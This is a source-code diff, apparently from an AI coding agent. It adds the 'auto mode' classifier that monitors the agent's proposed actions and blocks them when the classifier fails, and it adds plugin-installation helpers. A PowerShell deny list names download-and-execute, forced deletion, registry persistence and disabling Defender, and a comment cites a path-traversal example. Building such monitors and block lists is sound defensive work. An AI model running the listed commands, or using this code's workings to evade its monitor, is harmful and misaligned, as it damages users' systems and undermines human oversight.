+      reason: 'Tool declares no classifier-relevant input',
+      model: getClassifierModel(),
+    }
+  }
+
+  const systemPrompt = await buildYoloSystemPrompt(context)
+  const transcriptEntries = buildTranscriptEntries(messages)
+  const claudeMdMessage = buildClaudeMdMessage()
+  const prefixMessages: Anthropic.MessageParam[] = claudeMdMessage
+    ? [claudeMdMessage]
+    : []
+
+  let toolCallsLength = actionCompact.length
+  let userPromptsLength = 0
+  const userContentBlocks: Anthropic.TextBlockParam[] = []
+  for (const entry of transcriptEntries) {
+    for (const block of entry.content) {
+      const serialized = toCompactBlock(block, entry.role, lookup)
+      if (serialized === '') continue
+      switch (entry.role) {
+        case 'user':
+          userPromptsLength += serialized.length
+          break
+        case 'assistant':
+          toolCallsLength += serialized.length
+          break
+        default: {
+          const _exhaustive: never = entry.role
+          void _exhaustive
+        }
+      }
+      userContentBlocks.push({ type: 'text' as const, text: serialized })
+    }
+  }
+
+  const userPrompt = userContentBlocks.map(b => b.text).join('') + actionCompact
+  const promptLengths = {
+    systemPrompt: systemPrompt.length,
+    toolCalls: toolCallsLength,
+    userPrompts: userPromptsLength,
+  }
+
+  // Compare main-loop context vs classifier transcript to track projection
+  // divergence. tokenCountWithEstimation is cheap (walks back to last API
+  // response usage + estimates the tail slice) so we compute unconditionally
+  // for telemetry. The classifier prompt should stay strictly smaller than
+  // main-loop context so auto-compact fires before the classifier overflows.
+  const classifierChars = systemPrompt.length + userPrompt.length
+  const classifierTokensEst = Math.round(classifierChars / 4)
+  const mainLoopTokens = tokenCountWithEstimation(messages)
+  if (isDebugMode()) {
+    logForDebugging(
+      `[auto-mode] context comparison: ` +
+        `mainLoopTokens=${mainLoopTokens} ` +
+        `classifierChars=${classifierChars} ` +
+        `classifierTokensEst=${classifierTokensEst} ` +
+        `(sys=${promptLengths.systemPrompt} ` +
+        `tools=${promptLengths.toolCalls} ` +
+        `user=${promptLengths.userPrompts}) ` +
+        `transcriptEntries=${transcriptEntries.length} ` +
+        `messages=${messages.length}`,
+    )
+    logForDebugging(
+      `[auto-mode] new action being classified: ` +
+        `${actionCompact.length > 500 ? actionCompact.slice(0, 500) + '…' : actionCompact}`,
+    )
+  }
+
+  // Use getCacheControl for consistency with the main agent loop —
+  // respects GrowthBook TTL allowlist and query-source gating.
+  const cacheControl = getCacheControl({ querySource: 'auto_mode' })
+  // Place cache_control on the action block. In the two-stage classifier,
+  // stage 2 shares the same transcript+action prefix as stage 1 — the
+  // breakpoint here gives stage 2 a guaranteed cache hit on the full prefix.
+  // Budget: system (1) + CLAUDE.md (0–1) + action (1) = 2–3, under the
+  // API limit of 4 cache_control blocks.
+  userContentBlocks.push({
+    type: 'text' as const,
+    text: actionCompact,
+    cache_control: cacheControl,
+  })
+
+  const model = getClassifierModel()
+
+  // Dispatch to 2-stage XML classifier if enabled via GrowthBook
+  if (isTwoStageClassifierEnabled()) {
+    return classifyYoloActionXml(
+      prefixMessages,
+      systemPrompt,
+      userPrompt,
+      userContentBlocks,
+      model,
+      promptLengths,
+      signal,
+      {
+        mainLoopTokens: mainLoopTokens ?? tokenCountWithEstimation(messages),
+        classifierChars,
+        classifierTokensEst,
+        transcriptEntries: transcriptEntries.length,
+        messages: messages.length,
+        action: actionCompact,
+      },
+      getTwoStageMode(),
+    )
+  }
+  const [disableThinking, thinkingPadding] = getClassifierThinkingConfig(model)
+  try {
+    const start = Date.now()
+    const sideQueryOpts = {
+      model,
+      max_tokens: 4096 + thinkingPadding,
+      system: [
+        {
+          type: 'text' as const,
+          text: systemPrompt,
+          cache_control: getCacheControl({ querySource: 'auto_mode' }),
+        },
+      ],
+      skipSystemPromptPrefix: true,
+      temperature: 0,
+      thinking: disableThinking,
+      messages: [
+        ...prefixMessages,
+        { role: 'user' as const, content: userContentBlocks },
+      ],
+      tools: [YOLO_CLASSIFIER_TOOL_SCHEMA],
+      tool_choice: {
+        type: 'tool' as const,
+        name: YOLO_CLASSIFIER_TOOL_NAME,
+      },
+      maxRetries: getDefaultMaxRetries(),
+      signal,
+      querySource: 'auto_mode' as const,
+    }
+    const result = await sideQuery(sideQueryOpts)
+    void maybeDumpAutoMode(sideQueryOpts, result, start)
+    setLastClassifierRequests([sideQueryOpts])
+    const durationMs = Date.now() - start
+    const stage1RequestId = extractRequestId(result)
+    const stage1MsgId = result.id
+
+    // Extract usage for overhead telemetry
+    const usage = {
+      inputTokens: result.usage.input_tokens,
+      outputTokens: result.usage.output_tokens,
+      cacheReadInputTokens: result.usage.cache_read_input_tokens ?? 0,
+      cacheCreationInputTokens: result.usage.cache_creation_input_tokens ?? 0,
+    }
+    // Actual total input tokens the classifier API consumed (uncached + cache)
+    const classifierInputTokens =
+      usage.inputTokens +
+      usage.cacheReadInputTokens +
+      usage.cacheCreationInputTokens
+    if (isDebugMode()) {
+      logForDebugging(
+        `[auto-mode] API usage: ` +
+          `actualInputTokens=${classifierInputTokens} ` +
+          `(uncached=${usage.inputTokens} ` +
+          `cacheRead=${usage.cacheReadInputTokens} ` +
+          `cacheCreate=${usage.cacheCreationInputTokens}) ` +
+          `estimateWas=${classifierTokensEst} ` +
+          `deltaVsMainLoop=${classifierInputTokens - mainLoopTokens} ` +
+          `durationMs=${durationMs}`,
+      )
+    }
+
+    // Extract the tool use result using shared utility
+    const toolUseBlock = extractToolUseBlock(
+      result.content,
+      YOLO_CLASSIFIER_TOOL_NAME,
+    )
+
+    if (!toolUseBlock) {
+      logForDebugging('Auto mode classifier: No tool use block found', {
+        level: 'warn',
+      })
+      logAutoModeOutcome('parse_failure', model, { failureKind: 'no_tool_use' })
+      return {
+        shouldBlock: true,
+        reason: 'Classifier returned no tool use block - blocking for safety',
+        model,
+        usage,
+        durationMs,
+        promptLengths,
+        stage1RequestId,
+        stage1MsgId,
+      }
+    }
+
+    // Parse response using shared utility
+    const parsed = parseClassifierResponse(
+      toolUseBlock,
+      yoloClassifierResponseSchema(),
+    )
+    if (!parsed) {
+      logForDebugging('Auto mode classifier: Invalid response schema', {
+        level: 'warn',
+      })
+      logAutoModeOutcome('parse_failure', model, {
+        failureKind: 'invalid_schema',
+      })
+      return {
+        shouldBlock: true,
+        reason: 'Invalid classifier response - blocking for safety',
+        model,
+        usage,
+        durationMs,
+        promptLengths,
+        stage1RequestId,
+        stage1MsgId,
+      }
+    }
+
+    const classifierResult = {
+      thinking: parsed.thinking,
+      shouldBlock: parsed.shouldBlock,
+      reason: parsed.reason ?? 'No reason provided',
+      model,
+      usage,
+      durationMs,
+      promptLengths,
+      stage1RequestId,
+      stage1MsgId,
+    }
+    // Context-delta telemetry: chart classifierInputTokens / mainLoopTokens
+    // in Datadog. Expect ~0.6-0.8 steady state; alert on p95 > 1.0 (means
+    // classifier is bigger than main loop — auto-compact won't save us).
+    logAutoModeOutcome('success', model, {
+      durationMs,
+      mainLoopTokens,
+      classifierInputTokens,
+      classifierTokensEst,
+    })
+    return classifierResult
+  } catch (error) {
+    if (signal.aborted) {
+      logForDebugging('Auto mode classifier: aborted by user')
+      logAutoModeOutcome('interrupted', model)
+      return {
+        shouldBlock: true,
+        reason: 'Classifier request aborted',
+        model,
+        unavailable: true,
+      }
+    }
+    const tooLong = detectPromptTooLong(error)
+    logForDebugging(`Auto mode classifier error: ${errorMessage(error)}`, {
+      level: 'warn',
+    })
+    const errorDumpPath =
+      (await dumpErrorPrompts(systemPrompt, userPrompt, error, {
+        mainLoopTokens,
+        classifierChars,
+        classifierTokensEst,
+        transcriptEntries: transcriptEntries.length,
+        messages: messages.length,
+        action: actionCompact,
+        model,
+      })) ?? undefined
+    // No API usage on error — use classifierTokensEst / mainLoopTokens
+    // for the ratio. Overflow errors are the critical divergence signal.
+    logAutoModeOutcome(tooLong ? 'transcript_too_long' : 'error', model, {
+      mainLoopTokens,
+      classifierTokensEst,
+      ...(tooLong && {
+        transcriptActualTokens: tooLong.actualTokens,
+        transcriptLimitTokens: tooLong.limitTokens,
+      }),
+    })
+    return {
+      shouldBlock: true,
+      reason: tooLong
+        ? 'Classifier transcript exceeded context window'
+        : 'Classifier unavailable - blocking for safety',
+      model,
+      unavailable: true,
+      transcriptTooLong: Boolean(tooLong),
+      errorDumpPath,
+    }
+  }
+}
+
+type TwoStageMode = 'both' | 'fast' | 'thinking'
+
+type AutoModeConfig = {
+  model?: string
+  /**
+   * Enable XML classifier. `true` runs both stages; `'fast'` and `'thinking'`
+   * run only that stage; `false`/undefined uses the tool_use classifier.
+   */
+  twoStageClassifier?: boolean | 'fast' | 'thinking'
+  /**
+   * Ant builds normally use permissions_anthropic.txt; when true, use
+   * permissions_external.txt instead (dogfood the external template).
+   */
+  forceExternalPermissions?: boolean
+  /**
+   * Gate the JSONL transcript format ({"Bash":"ls"} vs `Bash ls`).
+   * Default false (old text-prefix format) for slow rollout / quick rollback.
+   */
+  jsonlTranscript?: boolean
+}
+
+/**
+ * Get the model for the classifier.
+ * Ant-only env var takes precedence, then GrowthBook JSON config override,
+ * then the main loop model.
+ */
+function getClassifierModel(): string {
+  if (process.env.USER_TYPE === 'ant') {
+    const envModel = process.env.CLAUDE_CODE_AUTO_MODE_MODEL
+    if (envModel) return envModel
+  }
+  const config = getFeatureValue_CACHED_MAY_BE_STALE(
+    'tengu_auto_mode_config',
+    {} as AutoModeConfig,
+  )
+  if (config?.model) {
+    return config.model
+  }
+  return getMainLoopModel()
+}
+
+/**
+ * Resolve the XML classifier setting: ant-only env var takes precedence,
+ * then GrowthBook. Returns undefined when unset (caller decides default).
+ */
+function resolveTwoStageClassifier():
+  | boolean
+  | 'fast'
+  | 'thinking'
+  | undefined {
+  if (process.env.USER_TYPE === 'ant') {
+    const env = process.env.CLAUDE_CODE_TWO_STAGE_CLASSIFIER
+    if (env === 'fast' || env === 'thinking') return env
+    if (isEnvTruthy(env)) return true
+    if (isEnvDefinedFalsy(env)) return false
+  }
+  const config = getFeatureValue_CACHED_MAY_BE_STALE(
+    'tengu_auto_mode_config',
+    {} as AutoModeConfig,
+  )
+  return config?.twoStageClassifier
+}
+
+/**
+ * Check if the XML classifier is enabled (any truthy value including 'fast'/'thinking').
+ */
+function isTwoStageClassifierEnabled(): boolean {
+  const v = resolveTwoStageClassifier()
+  return v === true || v === 'fast' || v === 'thinking'
+}
+
+function isJsonlTranscriptEnabled(): boolean {
+  if (process.env.USER_TYPE === 'ant') {
+    const env = process.env.CLAUDE_CODE_JSONL_TRANSCRIPT
+    if (isEnvTruthy(env)) return true
+    if (isEnvDefinedFalsy(env)) return false
+  }
+  const config = getFeatureValue_CACHED_MAY_BE_STALE(
+    'tengu_auto_mode_config',
+    {} as AutoModeConfig,
+  )
+  return config?.jsonlTranscript === true
+}
+
+/**
+ * PowerShell-specific deny guidance for the classifier. Appended to the
+ * deny list in buildYoloSystemPrompt when PowerShell auto mode is active.
+ * Maps PS idioms to the existing BLOCK categories so the classifier
+ * recognizes `iex (iwr ...)` as "Code from External", `Remove-Item
+ * -Recurse -Force` as "Irreversible Local Destruction", etc.
+ *
+ * Guarded at definition for DCE — with external:false, the string content
+ * is absent from external builds (same pattern as the .txt requires above).
+ */
+const POWERSHELL_DENY_GUIDANCE: readonly string[] = feature(
+  'POWERSHELL_AUTO_MODE',
+)
+  ? [
+      'PowerShell Download-and-Execute: `iex (iwr ...)`, `Invoke-Expression (Invoke-WebRequest ...)`, `Invoke-Expression (New-Object Net.WebClient).DownloadString(...)`, and any pipeline feeding remote content into `Invoke-Expression`/`iex` fall under "Code from External" — same as `curl | bash`.',
+      'PowerShell Irreversible Destruction: `Remove-Item -Recurse -Force`, `rm -r -fo`, `Clear-Content`, and `Set-Content` truncation of pre-existing files fall under "Irreversible Local Destruction" — same as `rm -rf` and `> file`.',
+      'PowerShell Persistence: modifying `$PROFILE` (any of the four profile paths), `Register-ScheduledTask`, `New-Service`, writing to registry Run keys (`HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` or the HKLM equivalent), and WMI event subscriptions fall under "Unauthorized Persistence" — same as `.bashrc` edits and cron jobs.',
+      'PowerShell Elevation: `Start-Process -Verb RunAs`, `-ExecutionPolicy Bypass`, and disabling AMSI/Defender (`Set-MpPreference -DisableRealtimeMonitoring`) fall under "Security Weaken".',
+    ]
+  : []
+
+type AutoModeOutcome =
+  | 'success'
+  | 'parse_failure'
+  | 'interrupted'
+  | 'error'
+  | 'transcript_too_long'
+
+/**
+ * Telemetry helper for tengu_auto_mode_outcome. All string fields are
+ * enum-like values (outcome, model name, classifier type, failure kind) —
+ * never code or file paths, so the AnalyticsMetadata casts are safe.
+ */
+function logAutoModeOutcome(
+  outcome: AutoModeOutcome,
+  model: string,
+  extra?: {
+    classifierType?: string
+    failureKind?: string
+    durationMs?: number
+    mainLoopTokens?: number
+    classifierInputTokens?: number
+    classifierTokensEst?: number
+    transcriptActualTokens?: number
+    transcriptLimitTokens?: number
+  },
+): void {
+  const { classifierType, failureKind, ...rest } = extra ?? {}
+  logEvent('tengu_auto_mode_outcome', {
+    outcome:
+      outcome as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    classifierModel:
+      model as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    ...(classifierType !== undefined && {
+      classifierType:
+        classifierType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+    ...(failureKind !== undefined && {
+      failureKind:
+        failureKind as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+    ...rest,
+  })
+}
+
+/**
+ * Detect API 400 "prompt is too long: N tokens > M maximum" errors and
+ * parse the token counts. Returns undefined for any other error.
+ * These are deterministic (same transcript → same error) so retrying
+ * won't help — unlike 429/5xx which sideQuery already retries internally.
+ */
+function detectPromptTooLong(
+  error: unknown,
+): ReturnType<typeof parsePromptTooLongTokenCounts> | undefined {
+  if (!(error instanceof Error)) return undefined
+  if (!error.message.toLowerCase().includes('prompt is too long')) {
+    return undefined
+  }
+  return parsePromptTooLongTokenCounts(error.message)
+}
+
+/**
+ * Get which stage(s) the XML classifier should run.
+ * Only meaningful when isTwoStageClassifierEnabled() is true.
+ */
+function getTwoStageMode(): TwoStageMode {
+  const v = resolveTwoStageClassifier()
+  return v === 'fast' || v === 'thinking' ? v : 'both'
+}
+
+/**
+ * Format an action for the classifier from tool name and input.
+ * Returns a TranscriptEntry with the tool_use block. Each tool controls which
+ * fields get exposed via its `toAutoClassifierInput` implementation.
+ */
+export function formatActionForClassifier(
+  toolName: string,
+  toolInput: unknown,
+): TranscriptEntry {
+  return {
+    role: 'assistant',
+    content: [{ type: 'tool_use', name: toolName, input: toolInput }],
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/plugins/.syncthing.hintRecommendation.ts.tmp b/_all-in-one-upload/cc-haha/src/utils/plugins/.syncthing.hintRecommendation.ts.tmp
new file mode 100644
index 0000000..0ae2aeb
Binary files /dev/null and b/_all-in-one-upload/cc-haha/src/utils/plugins/.syncthing.hintRecommendation.ts.tmp differ
diff --git a/_all-in-one-upload/cc-haha/src/utils/plugins/pluginInstallationHelpers.ts b/_all-in-one-upload/cc-haha/src/utils/plugins/pluginInstallationHelpers.ts
new file mode 100644
index 0000000..1e4c885
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/plugins/pluginInstallationHelpers.ts
@@ -0,0 +1,595 @@
+/**
+ * Shared helper functions for plugin installation
+ *
+ * This module contains common utilities used across the plugin installation
+ * system to reduce code duplication and improve maintainability.
+ */
+
+import { randomBytes } from 'crypto'
+import { rename, rm } from 'fs/promises'
+import { dirname, join, resolve, sep } from 'path'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_PII_TAGGED,
+  logEvent,
+} from '../../services/analytics/index.js'
+import { getCwd } from '../cwd.js'
+import { toError } from '../errors.js'
+import { getFsImplementation } from '../fsOperations.js'
+import { logError } from '../log.js'
+import {
+  getSettingsForSource,
+  updateSettingsForSource,
+} from '../settings/settings.js'
+import { buildPluginTelemetryFields } from '../telemetry/pluginTelemetry.js'
+import { clearAllCaches } from './cacheUtils.js'
+import {
+  formatDependencyCountSuffix,
+  getEnabledPluginIdsForScope,
+  type ResolutionResult,
+  resolveDependencyClosure,
+} from './dependencyResolver.js'
+import {
+  addInstalledPlugin,
+  getGitCommitSha,
+} from './installedPluginsManager.js'
+import { getManagedPluginNames } from './managedPlugins.js'
+import { getMarketplaceCacheOnly, getPluginById } from './marketplaceManager.js'
+import {
+  isOfficialMarketplaceName,
+  parsePluginIdentifier,
+  scopeToSettingSource,
+} from './pluginIdentifier.js'
+import {
+  cachePlugin,
+  getVersionedCachePath,
+  getVersionedZipCachePath,
+} from './pluginLoader.js'
+import { isPluginBlockedByPolicy } from './pluginPolicy.js'
+import { calculatePluginVersion } from './pluginVersioning.js'
+import {
+  isLocalPluginSource,
+  type PluginMarketplaceEntry,
+  type PluginScope,
+  type PluginSource,
+} from './schemas.js'
+import {
+  convertDirectoryToZipInPlace,
+  isPluginZipCacheEnabled,
+} from './zipCache.js'
+
+/**
+ * Plugin installation metadata for installed_plugins.json
+ */
+export type PluginInstallationInfo = {
+  pluginId: string
+  installPath: string
+  version?: string
+}
+
+/**
+ * Get current ISO timestamp
+ */
+export function getCurrentTimestamp(): string {
+  return new Date().toISOString()
+}
+
+/**
+ * Validate that a resolved path stays within a base directory.
+ * Prevents path traversal attacks where malicious paths like './../../../etc/passwd'
+ * could escape the expected directory.
+ *
+ * @param basePath - The base directory that the resolved path must stay within
+ * @param relativePath - The relative path to validate
+ * @returns The validated absolute path
+ * @throws Error if the path would escape the base directory
+ */
+export function validatePathWithinBase(
+  basePath: string,
+  relativePath: string,
+): string {
+  const resolvedPath = resolve(basePath, relativePath)
+  const normalizedBase = resolve(basePath) + sep
+
+  // Check if the resolved path starts with the base path
+  // Adding sep ensures we don't match partial directory names
+  // e.g., /foo/bar should not match /foo/barbaz
+  if (
+    !resolvedPath.startsWith(normalizedBase) &&
+    resolvedPath !== resolve(basePath)
+  ) {
+    throw new Error(
+      `Path traversal detected: "${relativePath}" would escape the base directory`,
+    )
+  }
+
+  return resolvedPath
+}
+
+/**
+ * Cache a plugin (local or external) and add it to installed_plugins.json
+ *
+ * This function combines the common pattern of:
+ * 1. Caching a plugin to ~/.claude/plugins/cache/
+ * 2. Adding it to the installed plugins registry
+ *
+ * Both local plugins (with string source like "./path") and external plugins
+ * (with object source like {source: "github", ...}) are cached to the same
+ * location to ensure consistent behavior.
+ *
+ * @param pluginId - Plugin ID in "plugin@marketplace" format
+ * @param entry - Plugin marketplace entry
+ * @param scope - Installation scope (user, project, local, or managed). Defaults to 'user'.
+ *                'managed' scope is used for plugins installed automatically from managed settings.
+ * @param projectPath - Project path (required for project/local scopes)
+ * @param localSourcePath - For local plugins, the resolved absolute path to the source directory
+ * @returns The installation path
+ */
+export async function cacheAndRegisterPlugin(
+  pluginId: string,
+  entry: PluginMarketplaceEntry,
+  scope: PluginScope = 'user',
+  projectPath?: string,
+  localSourcePath?: string,
+): Promise<string> {
+  // For local plugins, we need the resolved absolute path
+  // Cast to PluginSource since cachePlugin handles any string path at runtime
+  const source: PluginSource =
+    typeof entry.source === 'string' && localSourcePath
+      ? (localSourcePath as PluginSource)
+      : entry.source
+
+  const cacheResult = await cachePlugin(source, {
+    manifest: entry as PluginMarketplaceEntry,
+  })
+
+  // For local plugins, use the original source path for Git SHA calculation
+  // because the cached temp directory doesn't have .git (it's copied from a
+  // subdirectory of the marketplace git repo). For external plugins, use the
+  // cached path. For git-subdir sources, cachePlugin already captured the SHA
+  // before discarding the ephemeral clone (the extracted subdir has no .git).
+  const pathForGitSha = localSourcePath || cacheResult.path
+  const gitCommitSha =
+    cacheResult.gitCommitSha ?? (await getGitCommitSha(pathForGitSha))
+
+  const now = getCurrentTimestamp()
+  const version = await calculatePluginVersion(
+    pluginId,
+    entry.source,
+    cacheResult.manifest,
+    pathForGitSha,
+    entry.version,
+    cacheResult.gitCommitSha,
+  )
+
+  // Move the cached plugin to the versioned path: cache/marketplace/plugin/version/
+  const versionedPath = getVersionedCachePath(pluginId, version)
+  let finalPath = cacheResult.path
+
+  // Only move if the paths are different and plugin was cached to a different location
+  if (cacheResult.path !== versionedPath) {
+    // Create the versioned directory structure
+    await getFsImplementation().mkdir(dirname(versionedPath))
+
+    // Remove existing versioned path if present (force: no-op if missing)
+    await rm(versionedPath, { recursive: true, force: true })
+
+    // Check if versionedPath is a subdirectory of cacheResult.path
+    // This happens when marketplace name equals plugin name (e.g., "exa-mcp-server@exa-mcp-server")
+    // In this case, we can't directly rename because we'd be moving a directory into itself
+    const normalizedCachePath = cacheResult.path.endsWith(sep)
+      ? cacheResult.path
+      : cacheResult.path + sep
+    const isSubdirectory = versionedPath.startsWith(normalizedCachePath)
+
+    if (isSubdirectory) {
+      // Move to a temp location first, then to final destination
+      // We can't directly rename/copy a directory into its own subdirectory
+      // Use the parent of cacheResult.path (same filesystem) to avoid EXDEV
+      // errors when /tmp is on a different filesystem (e.g., tmpfs)
+      const tempPath = join(
+        dirname(cacheResult.path),
+        `.claude-plugin-temp-${Date.now()}-${randomBytes(4).toString('hex')}`,
+      )
+      await rename(cacheResult.path, tempPath)
+      await getFsImplementation().mkdir(dirname(versionedPath))
+      await rename(tempPath, versionedPath)
+    } else {
+      // Move the cached plugin to the versioned location
+      await rename(cacheResult.path, versionedPath)
+    }
+    finalPath = versionedPath
+  }
+
+  // Zip cache mode: convert directory to ZIP and remove the directory
+  if (isPluginZipCacheEnabled()) {
+    const zipPath = getVersionedZipCachePath(pluginId, version)
+    await convertDirectoryToZipInPlace(finalPath, zipPath)
+    finalPath = zipPath
+  }
+
+  // Add to both V1 and V2 installed_plugins files with correct scope
+  addInstalledPlugin(
+    pluginId,
+    {
+      version,
+      installedAt: now,
+      lastUpdated: now,
+      installPath: finalPath,
+      gitCommitSha,
+    },
+    scope,
+    projectPath,
+  )
+
+  return finalPath
+}
+
+/**
+ * Register a plugin installation without caching
+ *
+ * Used for local plugins that are already on disk and don't need remote caching.
+ * External plugins should use cacheAndRegisterPlugin() instead.
+ *
+ * @param info - Plugin installation information
+ * @param scope - Installation scope (user, project, local, or managed). Defaults to 'user'.
+ *                'managed' scope is used for plugins registered from managed settings.
+ * @param projectPath - Project path (required for project/local scopes)
+ */
+export function registerPluginInstallation(
+  info: PluginInstallationInfo,
+  scope: PluginScope = 'user',
+  projectPath?: string,
+): void {
+  const now = getCurrentTimestamp()
+  addInstalledPlugin(
+    info.pluginId,
+    {
+      version: info.version || 'unknown',
+      installedAt: now,
+      lastUpdated: now,
+      installPath: info.installPath,
+    },
+    scope,
+    projectPath,
+  )
+}
+
+/**
+ * Parse plugin ID into components
+ *
+ * @param pluginId - Plugin ID in "plugin@marketplace" format
+ * @returns Parsed components or null if invalid
+ */
+export function parsePluginId(
+  pluginId: string,
+): { name: string; marketplace: string } | null {
+  const parts = pluginId.split('@')
+  if (parts.length !== 2 || !parts[0] || !parts[1]) {
+    return null
+  }
+
+  return {
+    name: parts[0],
+    marketplace: parts[1],
+  }
+}
+
+/**
+ * Structured result from the install core. Wrappers format messages and
+ * handle analytics/error-catching around this.
+ */
+export type InstallCoreResult =
+  | { ok: true; closure: string[]; depNote: string }
+  | { ok: false; reason: 'local-source-no-location'; pluginName: string }
+  | { ok: false; reason: 'settings-write-failed'; message: string }
+  | {
+      ok: false
+      reason: 'resolution-failed'
+      resolution: ResolutionResult & { ok: false }
+    }
+  | { ok: false; reason: 'blocked-by-policy'; pluginName: string }
+  | {
+      ok: false
+      reason: 'dependency-blocked-by-policy'
+      pluginName: string
+      blockedDependency: string
+    }
+
+/**
+ * Format a failed ResolutionResult into a user-facing message. Unified on
+ * the richer CLI messages (the "Is the X marketplace added?" hint is useful
+ * for UI users too).
+ */
+export function formatResolutionError(
+  r: ResolutionResult & { ok: false },
+): string {
+  switch (r.reason) {
+    case 'cycle':
+      return `Dependency cycle: ${r.chain.join(' → ')}`
+    case 'cross-marketplace': {
+      const depMkt = parsePluginIdentifier(r.dependency).marketplace
+      const where = depMkt
+        ? `marketplace "${depMkt}"`
+        : 'a different marketplace'
+      const hint = depMkt
+        ? ` Add "${depMkt}" to allowCrossMarketplaceDependenciesOn in the ROOT marketplace's marketplace.json (the marketplace of the plugin you're installing — only its allowlist applies; no transitive trust).`
+        : ''
+      return `Dependency "${r.dependency}" (required by ${r.requiredBy}) is in ${where}, which is not in the allowlist — cross-marketplace dependencies are blocked by default. Install it manually first.${hint}`
+    }
+    case 'not-found': {
+      const { marketplace: depMkt } = parsePluginIdentifier(r.missing)
+      return depMkt
+        ? `Dependency "${r.missing}" (required by ${r.requiredBy}) not found. Is the "${depMkt}" marketplace added?`
+        : `Dependency "${r.missing}" (required by ${r.requiredBy}) not found in any configured marketplace`
+    }
+  }
+}
+
+/**
+ * Core plugin install logic, shared by the CLI path (`installPluginOp`) and
+ * the interactive UI path (`installPluginFromMarketplace`). Given a
+ * pre-resolved marketplace entry, this:
+ *
+ *   1. Guards against local-source plugins without a marketplace install
+ *      location (would silently no-op otherwise).
+ *   2. Resolves the transitive dependency closure (when PLUGIN_DEPENDENCIES
+ *      is on; trivial single-plugin closure otherwise).
+ *   3. Writes the entire closure to enabledPlugins in one settings update.
+ *   4. Caches each closure member (downloads/copies sources as needed).
+ *   5. Clears memoization caches.
+ *
+ * Returns a structured result. Message formatting, analytics, and top-level
+ * error wrapping stay in the caller-specific wrappers.
+ *
+ * @param marketplaceInstallLocation Pass this if the caller already has it
+ *   (from a prior marketplace search) to avoid a redundant lookup.
+ */
+export async function installResolvedPlugin({
+  pluginId,
+  entry,
+  scope,
+  marketplaceInstallLocation,
+}: {
+  pluginId: string
+  entry: PluginMarketplaceEntry
+  scope: 'user' | 'project' | 'local'
+  marketplaceInstallLocation?: string
+}): Promise<InstallCoreResult> {
+  const settingSource = scopeToSettingSource(scope)
+
+  // ── Policy guard ──
+  // Org-blocked plugins (managed-settings.json enabledPlugins: false) cannot
+  // be installed. Checked here so all install paths (CLI, UI, hint-triggered)
+  // are covered in one place.
+  if (isPluginBlockedByPolicy(pluginId)) {
+    return { ok: false, reason: 'blocked-by-policy', pluginName: entry.name }
+  }
+
+  // ── Resolve dependency closure ──
+  // depInfo caches marketplace lookups so the materialize loop doesn't
+  // re-fetch. Seed the root if the caller gave us its install location.
+  const depInfo = new Map<
+    string,
+    { entry: PluginMarketplaceEntry; marketplaceInstallLocation: string }
+  >()
+  // Without this guard, a local-source root with undefined
+  // marketplaceInstallLocation falls through: depInfo isn't seeded, the
+  // materialize loop's `if (!info) continue` skips the root, and the user
+  // sees "Successfully installed" while nothing is cached.
+  if (isLocalPluginSource(entry.source) && !marketplaceInstallLocation) {
+    return {
+      ok: false,
+      reason: 'local-source-no-location',
+      pluginName: entry.name,
+    }
+  }
+  if (marketplaceInstallLocation) {
+    depInfo.set(pluginId, { entry, marketplaceInstallLocation })
+  }
+
+  const rootMarketplace = parsePluginIdentifier(pluginId).marketplace
+  const allowedCrossMarketplaces = new Set(
+    (rootMarketplace
+      ? (await getMarketplaceCacheOnly(rootMarketplace))
+          ?.allowCrossMarketplaceDependenciesOn
+      : undefined) ?? [],
+  )
+  const resolution = await resolveDependencyClosure(
+    pluginId,
+    async id => {
+      if (depInfo.has(id)) return depInfo.get(id)!.entry
+      if (id === pluginId) return entry
+      const info = await getPluginById(id)
+      if (info) depInfo.set(id, info)
+      return info?.entry ?? null
+    },
+    getEnabledPluginIdsForScope(settingSource),
+    allowedCrossMarketplaces,
+  )
+  if (!resolution.ok) {
+    return { ok: false, reason: 'resolution-failed', resolution }
+  }
+
+  // ── Policy guard for transitive dependencies ──
+  // The root plugin was already checked above, but any dependency in the
+  // closure could also be policy-blocked. Check before writing to settings
+  // so a non-blocked plugin can't pull in a blocked dependency.
+  for (const id of resolution.closure) {
+    if (id !== pluginId && isPluginBlockedByPolicy(id)) {
+      return {
+        ok: false,
+        reason: 'dependency-blocked-by-policy',
+        pluginName: entry.name,
+        blockedDependency: id,
+      }
+    }
+  }
+
+  // ── ACTION: write entire closure to settings in one call ──
+  const closureEnabled: Record<string, true> = {}
+  for (const id of resolution.closure) closureEnabled[id] = true
+  const { error } = updateSettingsForSource(settingSource, {
+    enabledPlugins: {
+      ...getSettingsForSource(settingSource)?.enabledPlugins,
+      ...closureEnabled,
+    },
+  })
+  if (error) {
+    return {
+      ok: false,
+      reason: 'settings-write-failed',
+      message: error.message,
+    }
+  }
+
+  // ── Materialize: cache each closure member ──
+  const projectPath = scope !== 'user' ? getCwd() : undefined
+  for (const id of resolution.closure) {
+    let info = depInfo.get(id)
+    // Root wasn't pre-seeded (caller didn't pass marketplaceInstallLocation
+    // for a non-local source). Fetch now; it's needed for the cache write.
+    if (!info && id === pluginId) {
+      const mktLocation = (await getPluginById(id))?.marketplaceInstallLocation
+      if (mktLocation) info = { entry, marketplaceInstallLocation: mktLocation }
+    }
+    if (!info) continue
+
+    let localSourcePath: string | undefined
+    const { source } = info.entry
+    if (isLocalPluginSource(source)) {
+      localSourcePath = validatePathWithinBase(
+        info.marketplaceInstallLocation,
+        source,
+      )
+    }
+    await cacheAndRegisterPlugin(
+      id,
+      info.entry,
+      scope,
+      projectPath,
+      localSourcePath,
+    )
+  }
+
+  clearAllCaches()
+
+  const depNote = formatDependencyCountSuffix(
+    resolution.closure.filter(id => id !== pluginId),
+  )
+  return { ok: true, closure: resolution.closure, depNote }
+}
+
+/**
+ * Result of a plugin installation operation
+ */
+export type InstallPluginResult =
+  | { success: true; message: string }
+  | { success: false; error: string }
+
+/**
